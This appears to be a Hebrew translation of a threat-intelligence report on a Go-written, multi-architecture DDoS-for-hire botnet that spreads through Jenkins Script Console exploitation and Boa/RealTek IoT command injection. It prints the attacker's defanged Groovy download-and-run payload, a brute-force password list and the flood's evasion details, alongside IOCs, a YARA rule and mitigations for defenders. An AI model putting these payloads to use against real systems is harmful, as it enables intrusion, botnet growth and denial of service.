עמוד זה הוא תרגום. הגרסה האנגלית היא הנוסח המחייב. לקריאה באנגלית

malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai

רשת בוטים ל-DDoS להשכרה, חוצת פלטפורמות, הכתובה ב-Go

Kinryū Labs ניתחה את bot.exe, גרסת ה-Windows של רשת בוטים ל-DDoS המקומפלת ב-Go ומופצת כחבילת דרופר של 11 קבצים בינאריים ב-13 ארכיטקטורות, הנמסרת במערכת ניצול רבת-ימים נגד Jenkins Script Console. איסוף מודיעין על שרת ההעמדה זיהה API חי ומאומת להשכרת DDoS, ערוץ פקודות SSH הכתוב ב-Go, ומשפחה מגזע Mirai המאוחסנת על אותה מכונה. אנו מעריכים ברמת ודאות גבוהה כי מדובר במבצע מסחרי של DDoS להשכרה.

מאת Davis Zheng·

TLP:CLEAR. מאושר לפרסום פומבי. נאסף על ידי מערך חיישני ה-honeypot של Kinryū Labs. המחוונים שלהלן מנוטרלים.

תמצית מנהלים

  • 13גרסאות בנייה לארכיטקטורות, 11 בינאריים ייחודיים
  • 5שיטות DDoS נקובות בשם, בתוספת API להשכרה
  • 3כתובות IP מקור מתואמות בתוך /22 אחד
  • 2משפחות רשתות בוטים על מכונה אחת

bot.exe היא גרסת הבנייה ל-Windows x86-64 של רשת בוטים ל-DDoS המקומפלת ב-Go ומופצת כחבילת דרופר רבת-ארכיטקטורות. סקריפט מעטפת נלווה, bins.sh, שולף שלוש-עשרה גרסאות בנייה לארכיטקטורות שונות, אחת-עשרה מהן ייחודיות לאחר הסרת כפילויות, המכסות x86 ב-32 וב-64 ביט, ארבעה פרופילי ARM, ARM64, Android ARM64, ו-MIPS בסדר בתים גדול וקטן, לצד הקובץ הבינארי ל-Windows. החבילה הגיעה לרשת ה-honeypot דרך ניצול שרת Jenkins חשוף.

הנוזקה מכילה חמש שיטות הצפה נקובות בשם (HTTP, לחיצת יד TLS, ICMP, TLS ישיר, ושיטה נפחית המסומנת VOULT), הצפת HTTP המחליפה מחרוזות User-Agent של דפדפנים וכותרות שפה ואזור כדי להידמות לתעבורה לגיטימית, ומטעני הזרקת פקודות המכוונים לשרת ה-web מסוג Boa במכשירי RealTek SDK לצורך התפשטות עצמית. איסוף מודיעין על שרת ההעמדה בכתובת 185.226.93[.]242 זיהה API מאומת להשכרת DDoS בפורט 3333, שירות SSH הממומש ב-Go בפורט 2222 המשמש כערוץ הפקודות, ושירות FTP אנונימי המעמיד משפחת רשת בוטים שנייה מגזע Mirai/Gafgyt.

Kinryū Labs מעריכה ברמת ודאות גבוהה כי bot.exe היא חלק מרשת בוטים ל-DDoS זדונית, מתפשטת מעצמה ורבת-ארכיטקטורות, המופעלת כשירות מסחרי להשכרה. שלושה ממצאים נושאים את ההערכה: מחרוזות שיטות התקיפה והניצול שבקובץ הבינארי עצמו; API חי להשכרה על שרת ההעמדה של המפעיל, המאמת פרמטרי עבודה ודורש הזדהות; ותצפיות honeypot של מערכה מתמשכת מכתובות מקור מתואמות המעבירות את החבילה.

הערכות מרכזיות
  • bot.exe היא רשת בוטים ל-DDoS חוצת פלטפורמות הכתובה ב-Go. חמש מחרוזות יומן נפרדות של שיטות הצפה נושאות פרמטרי מטרה ומשך, לצד מנגנון התחזות לדפדפן ותמיכה ב-SOCKS5, הכול במחרוזות לא מעורפלות ובאישוש ה-API החי.
  • המבצע מופעל כשירות מסחרי של DDoS להשכרה. שרת ההעמדה חושף API בפורט 3333 המאמת פרמטרי עבודה (user, psw, host, method, time, port) ודוחה פרטי הזדהות שגויים.
  • רשת הבוטים מתפשטת מעצמה באמצעות הזרקת פקודות ב-IoT. הקובץ הבינארי נושא מטען הזרקת פקודות אל formSysCmd של Boa, נתיב ניחוש כוח גס לכניסה לנתבים, והפונקציות המיוצאות loginDevice ו-loginDeviceCaptcha, ומזריק את אותה שורת דרופר שנרשמה ביומני ה-honeypot.
  • שלוש כתובות IP המקור הן מפעיל אחד. שלוש כתובות בתוך 185.226.92[.]0/22 העבירו מטענים זהים בתזמון מתואם ועם רשימת פרטי הזדהות משותפת, וכתובות המסירה וההעמדה מציגות מפתחות מכונה זהים של SSH, דבר המעיד על מכונה אחת או על דמויות משוכפלות.

מסירה: מערכת ניצול מתמשכת נגד Jenkins Script Console

החבילה נמסרה באמצעות ניצול מופע Jenkins החשוף לאינטרנט. תצפיות ה-honeypot תיעדו שיטה עקבית בשני שלבים: GET /crumbIssuer/api/json לשליפת אסימון ה-CSRF, ולאחריו POST /script הנושא מטען Groovy ל-Script Console. המטען היה זהה בכל הניסיונות, וכאן הוא מנוטרל:

println new ProcessBuilder('sh','-c',
  'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
   curl -O hxxp://185.226.93[.]242:1001/bins.sh;
   chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text

הבקשות נשאו כותרת Authorization: Basic שסבבה מילון קצר של סיסמאות מספריות חלשות עבור החשבון admin (admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123), חתימה של רשימת פרטי הזדהות אוטומטית ולא של אימות ממוקד.

המערכה נמשכה כמה ימים בגלים חוזרים:

  • גל 1גיחות ראשונות: בדיקת crumb של CSRF ולאחריה הרצת קוד מרחוק ב-Groovy, מכתובת ההעמדה ומכתובת שנייה באותו בלוק.
  • איסוףbins.sh וכל שלוש-עשרה הווריאנטות נאספו פעמיים, בהפרש של כארבע-עשרה שעות, זהות בית-בית בכל פעם.
  • גלים מאוחריםניצול מקבילי משלוש כתובות המקור בהפרש דקות זו מזו, עם User-Agents מתחלפים.

בקשות הניצול סבבו מבחר גדול של User-Agents מציאותיים של דפדפנים, בעוד שסריקת האיסוף שחיפשה מטרות Jenkins נוספות (שליפת /login ולאחריה מטח מהיר של בקשות /script) השתמשה בברירת המחדל Go-http-client/1.1. User-Agents מזויפים נלווים למטעני הניצול; הסורק משתמש בלקוח ה-Go המקורי של רשת הבוטים. שרת ההעמדה וה-C2 עצמו נטל חלק בניצול, ולכן תשתית התקיפה ותשתית האחסון אינן מופרדות.

הנוזקה: בסיס קוד אחד ב-Go, אחד-עשר קבצים בינאריים

כתיבת הבוט ב-Go מאפשרת לבסיס קוד אחד להתקמפל צולבות לכל מטרה שהמפעיל חפץ בה. הדרופר עובר על קו המוצרים כולו, שולף כל גרסת בנייה באמצעות wget ושוב באמצעות curl כגיבוי, מסמן אותה כברת-הרצה, מריץ אותה ומוחק אותה. החבילה כוללת קובץ .exe ל-Windows, שהדרופר ל-Linux בכל זאת מעביר דרך chmod +x, והמבנה המחולל של הסקריפט מצביע על צינור בנייה ורישום. לאחר הסרת כפילויות מצטמצמות שלוש-עשרה גרסאות הבנייה לאחד-עשר בינאריים ייחודיים: גרסאות ה-x86 וה-i386 זהות, וכך גם גרסאות ה-ARM הגנרית וה-ARMv7. פריסת הארכיטקטורות, מ-MIPS ומ-ARM מדור קודם ועד Android, מסמנת רשת בוטים המכוונת לנתבים, למצלמות ולמכשירים משובצים אחרים; גרסת ה-Windows נושאת את אותו קוד אל מחשבים שולחניים ואל שרתים.

הקובץ הבינארי אינו ארוז (אנטרופיות מקטעי ה-PE נעות בין 5.4 ל-6.3) ולא הוסרו ממנו הסמלים (מזהה הבנייה של Go וסמלי זמן הריצה שלמים), ולכן יכולותיו מונחות במחרוזות גלויות. חתימת זמן הקומפילציה מאופסת, דבר רגיל בגרסאות בנייה של Go.

חמש שיטות הצפה נקובות בשם במחרוזות היומן של הקובץ הבינארי, כל אחת מעוצבת עם מטרה ומשך: הצפת “HTTP (Optimized)”, הצפת התשה של לחיצת יד “Handshake” מסוג TLS/TCP, הצפת “PING” מסוג ICMP, הצפת מפגשים ישירה “TLS+”, ושיטת “VOULT”, נפחית וסביר שמבוססת UDP. קיימות אפשרויות ברמת היישום וברמת הרשת גם יחד.

הצפת ה-HTTP בנויה כדי להיראות כתעבורה לגיטימית. היא מחליפה יותר מעשר מחרוזות User-Agent של דפדפנים על פני Chrome, Edge, Opera, Firefox ו-Safari ב-Windows, macOS, iPad ו-Android; חמישה-עשר אזורי Accept-Language; וכותרות טביעת האצבע sec-fetch-* ו-sec-ch-ua-* שאותן בוחנים שירותי המיטיגציה. היא קובעת Referer ממבחר קטן של אתרים בעלי מוניטין גבוה (google.com, reddit.com, facebook.com, bing.com, twitter.com ו-fbi.gov). רשומה אחת בקבוצת ה-User-Agent היא המחרוזת המילולית Hello World, מציין מקום של מפתח שמייצר חתימת זיהוי נקייה מכיוון שאין לקוח לגיטימי ששולח אותה.

ההתפשטות מכוונת לשרת ה-web מסוג Boa, דמון HTTP משובץ וקטן שעודנו מסופק בנתבים ובמצלמות רבים מבוססי RealTek SDK. הקובץ הבינארי נושא מטען הזרקת פקודות נגד המטפל formSysCmd של Boa ונתיב ניחוש כוח גס נגד ממשקי ניהול של נתבים, עם שדות פרטי הזדהות ב-JSON והפונקציות המיוצאות loginDevice ו-loginDeviceCaptcha. הפקודה המוזרקת היא שורת הדרופר, ולכן מכשיר שנפרץ הופך לנקודת המסירה של הבא בתור.

מודולי ה-Go המשולבים הם כולם חבילות golang.org/x תקניות, בלי קישור למסגרת C2 של צד שלישי. הם כוללים chacha20poly1305, http2/hpack, dns/dnsmessage ו-http/httpproxy, בהתאמה ליכולות הנצפות: ערוץ מוצפן ומאומת, HTTP/2, DNS גולמי, ותיווך SOCKS5 (המחרוזות socks5, socks connect ו-socksUsernamePassword קיימות). תצורת ה-C2 נשלפת בזמן ריצה מ-hxxp://<C2>/config.dat; הכתובת היחידה המוטבעת בקובץ הבינארי היא שרת ההעמדה.

תשתית שליטה ובקרה והעמדה

איסוף המודיעין על שרת ההעמדה זיהה את השירותים הבאים:

פורטשירותייעוד
21/tcpvsftpd 3.0.3, כניסה אנונימית מאופשרתהעמדת נוזקה (המשפחה השנייה, להלן)
22/tcpOpenSSH 9.2p1 (Debian)גישת מפעיל
1001/tcpשרת net/http של Goהעמדה עיקרית: משרת את bins.sh ואת הווריאנטות
2222/tcpSSH ב-Go (SSH-2.0-Go)ערוץ פקודות לבוטים
3333/tcpשרת net/http של GoAPI להשכרת DDoS

שני ממצאים תומכים בהערכת ההשכרה. כתובת המסירה ושרת ההעמדה מציגים מפתחות מכונה זהים של SSH מסוג ED25519, RSA ו-ECDSA, דבר הממקם אותם על אותה מכונה או על דמויות שנשוכפלו מתבנית אחת, ושירות ה-SSH ב-Go בפורט 2222 מציג מפתח נפרד מזה של OpenSSH המערכתי בפורט 22, מה שמסמן אותו כיישום נפרד ולא כהעברה. ה-API בפורט 3333 דוחה בקשה בשל פרמטרים חסרים (user, psw, host, method, time/duration, port) ומחזיר כשל אימות עבור פרטי הזדהות לבדיקה, בעוד כל הנתיבים האחרים מחזירים 404. זהו הממשק המינימלי, המאומת לכל בקשה, של booter מסחרי, הפועל על תשתית חיה.

משפחה שנייה על אותה מכונה

שירות ה-FTP האנונימי מעמיד משפחת רשת בוטים נפרדת, המכונה כאן “boatnet” על שם שמות הקבצים שלה. הדרופר שלה (ohshit1.sh) משתמש בלקוח ftpget של BusyBox, משנה את שם כל קובץ בינארי ל-WTF לפני ההרצה, ומשגר גרסאות בנייה ברקע על פני חמש-עשרה ארכיטקטורות, ובהן מטרות משובצות אקזוטיות (ARC, m68k, SH4, SPARC) מגזע Mirai/Gafgyt. הקבצים הבינאריים הם ELF מקומפל מ-C, הוסרו מהם הסמלים והם ארוזים (אנטרופיה של 7.6 עד 7.9 בלי חתימת UPX, דבר המעיד על אורז מותאם), ולכן מעט שורד סקירה סטטית. פריטי ה-boatnet קודמים לחבילת bot.exe ומריצים בסיס קוד שאינו קשור, ולכן מכונה אחת מעמידה שתי משפחות רשתות בוטים נפרדות.

אחסון

שתי כתובות ה-IP של התוקף נופלות בתוך 185.226.92[.]0/22, הרשומות לספק VPS מבוסס בטורקיה (שם הרשת BIGCORE-US, AS205196 / AS57152) דרך RIPE NCC, עם כתובת דיווח על שימוש לרעה abuse@bigcore.net. אנו מזהים את ספק האחסון לצורכי דיווח ואיננו טוענים דבר לגבי זהות המפעיל.

מחווני פריצה

תשתית התוקף מנוטרלת. גיבובי הדגימות ומחרוזות הזיהוי נושאים ערכים חיים במתכוון.

רשת

מחווןהקשר
185.226.93[.]242שרת העמדה ו-C2; גם סורק פעיל
185.226.92[.]110סורק עיקרי / צומת מסירה
185.226.92[.]173סורק משני
185.226.92[.]0/22הקצאת אחסון (BIGCORE, AS205196). חסימת היקף סבירה
185.226.93[.]242:1001העמדת HTTP (bins.sh + ווריאנטות)
185.226.93[.]242:2222ערוץ פקודות SSH ב-Go
185.226.93[.]242:3333API להשכרת DDoS (/api, מוגן בפרמטרים)
185.226.93[.]242:21FTP אנונימי, העמדת boatnet
hxxp://<C2>/config.datתבנית שליפת תצורת C2 בזמן ריצה
/boafrm/formSysCmd, /boafrm/formLoginכתובות URI להרצת קוד מרחוק ב-Boa ולניחוש כוח גס לכניסה, בהתפשטות יוצאת
מפתח מכונה של SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8…משותף לכתובות המסירה וה-C2; מחוון לציר חקירה

קבצים

קובץSHA-256
bot.exe (Windows x64)4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804
bins.sh (דרופר)15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6
boatnet.0eem0a9ali (i386)6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b
boatnet.0t25ax67hl (x86-64)920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d
  • MD5 / SHA-1 / imphash של bot.exe: 88efcb919000efb700a814fc23e31e3f / 6817eae057adf831892995f514fca36c489fdd10 / 211e227000a1da3333aab2bad5282318
  • מזהה בנייה של Go: euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
גיבובי חבילת הדרופר המלאה (11 ייחודיים מתוך 13 גרסאות בנייה)
גרסת בנייהSHA-256גודל (בתים)
amd643261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b705,919,119
x86 / i386575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc3985,787,832
arm / armv7l9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb105,898,424
arm5365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea5825,898,424
arm634186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f5,898,424
arm64ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b5,579,151
android_arm647d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf6,169,144
mips9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f56,619,351
mipsle14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde76,619,351
bot.exe4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e38046,020,608

פריטי מכונה ופרטי הזדהות

  • מילון ניחוש הכוח הגס לחשבון admin ב-Jenkins: 1123, 123451, 1231231, 1111111, 12345123.
  • ohshit1.sh (הדרופר של boatnet) וקובץ בינארי ששמו שונה ל-WTF לפני ההרצה.
  • User-Agents ייחודיים: Hello World (הצפת ה-HTTP של הבוט) ו-Go-http-client/1.1 (הסריקה העצמית של הבוט).

התנהגותי

  • GET /crumbIssuer/api/json ב-Jenkins ולאחריו POST /script הנושא מטען Groovy מסוג ProcessBuilder('sh','-c', …) השולף את bins.sh.
  • בקשות יוצאות אל מכונה תחת /config.dat, שלפניהן שורת יומן Connecting to CNC....
  • POST /boafrm/formSysCmd נכנס עם sysCmdselect=5 וגוף הכולל wget … bins.sh.

זיהוי

המחרוזות יציבות ואינן מעורפלות, ולכן חתימות הן עניין פשוט. כלל ה-YARA שלהלן הוא כלל מועמד שנבנה ממחרוזות שאומתו; יש לאמת אותו לפני פריסה.

rule go_ddos_bot_multiarch_candidate
{
    meta:
        description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "4de4621f...e3804"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $cnc  = "Connecting to CNC..." ascii
        $cfg  = "/config.dat" ascii
        $atk1 = "HTTP (Optimized) Attack started" ascii
        $atk2 = "VOULT attack" ascii
        $atk3 = "Handshake Attack started" ascii
        $boa  = "/boafrm/formSysCmd" ascii
        $iot  = "loginDeviceCaptcha" ascii
        $drop = "bins.sh" ascii

    condition:
        ($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}

זיהוי רשתי:

  • Jenkins: התריעו על גופי POST /script המכילים ProcessBuilder עם wget/curl לכתובת IP גולמית, ובמיוחד כאשר קדם להם GET /crumbIssuer/api/json.
  • התפשטות IoT: content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";.
  • תשתית: חסמו 185.226.92[.]0/22, המכסה את כתובות המסירה וה-C2, והתריעו על חיבורים יוצאים לפורטים 1001, 2222 ו-3333 בטווח הזה.

הפחתת סיכון

  • אין לחשוף את Jenkins לאינטרנט. מקמו אותו מאחורי אימות ובבידוד רשתי, השביתו את Script Console עבור מי שאינם מנהלים, והתייחסו לשרת בנייה נגיש כאל סיכון לפריצה מלאה של המכונה. זה היה וקטור המסירה.
  • אכפו פרטי הזדהות חזקים ב-Jenkins והגבילו את קצב האימות. המערכה הסתמכה על מילון קצר של סיסמאות מספריות חלשות עבור admin.
  • פלחו או החליפו נתבים ומכשירי IoT מבוססי RealTek/Boa, וחסמו גישה חיצונית לממשקי הניהול שלהם. אלה מטרת ההתפשטות של רשת הבוטים.
  • חסמו את הקצאת האחסון (185.226.92[.]0/22) בהיקף והתריעו על כתובת ה-URI של ה-RCE ב-Boa ועל תבנית שליפת config.dat.
  • סננו תעבורה יוצאת. מכונה הפונה לכתובת IP גולמית בפורט 1001 כדי לשלוף קבצים ששמם על שם ארכיטקטורות, או המתחברת לפורטים 2222 או 3333 בטווח הזה, היא חריגה וניתנת לתפיסה גם היכן שאין זיהוי בקצה.
  • דווחו על התשתית. ניתן לדווח על ה-API להשכרת DDoS ועל הנוזקה המועמדת ב-FTP לכתובת הדיווח על שימוש לרעה של ספק האחסון (abuse@bigcore.net).

מיפוי MITRE ATT&CK

טקטיקהטכניקה
גישה ראשוניתT1190 Exploit Public-Facing Application (Jenkins Script Console; formSysCmd של Boa לצורך התפשטות)
גישה לפרטי הזדהותT1110.001 Brute Force: Password Guessing (admin ב-Jenkins); T1110.004 Credential Stuffing (כניסה למכשירי IoT)
הרצהT1059 Command and Scripting Interpreter (Groovy דרך Script Console; דרופר מעטפת Unix)
גילויT1046 Network Service Scanning (סריקה עצמית של Jenkins/IoT); T1082 System Information Discovery; T1057 Process Discovery
התחמקות מהגנותT1036 Masquerading (החלפת User-Agent של דפדפנים; שינוי השם ל-WTF ב-boatnet)
שליטה ובקרהT1071.001 Web Protocols (config.dat); T1573 Encrypted Channel (ChaCha20-Poly1305; SSH ב-Go בפורט 2222); T1571 Non-Standard Port (1001/2222/3333); T1090.001 Internal Proxy: SOCKS
תנועה רוחבית / מסירהT1105 Ingress Tool Transfer (העמדה רבת-ארכיטקטורות)
השפעהT1498.001 Direct Network Flood (PING, VOULT); T1498.002 Reflection Amplification (התשת לחיצת יד)

מתודולוגיה והערות

  • היקף: ניתוח סטטי של הקבצים הבינאריים שנאספו, אשר לא הורצו, ואיסוף מודיעין חיצוני פעיל על שרת ההעמדה (מיפוי שירותים וכרזות, רישום FTP אנונימי, ובדיקה ללא אימות של ה-API בפורט 3333). לא נעקף שום מנגנון אימות.
  • כלל ה-YARA הוא כלל מועמד שנבנה ממחרוזות שאומתו; יש לאמת אותו לפני פריסה. הקבצים הבינאריים של boatnet ארוזים והפיקו מעט מחרוזות.
  • דגימות (חבילת bot.exe, הדרופר ופריטי ה-boatnet) זמינות לחוקרים ולמגנים אחרים לפי בקשה. שלחו דואר אלקטרוני אל contact@kinryu.sh עם הערה קצרה על מי אתם ולמה אתם זקוקים להן.
Sample
Go DDoS botnet · 6da756970a411dad…
How to cite
Kinryū Labs (2026). רשת בוטים ל-DDoS להשכרה, חוצת פלטפורמות, הכתובה ב-Go. https://kinryu.sh/he/reports/go-ddos-botnet-for-hire/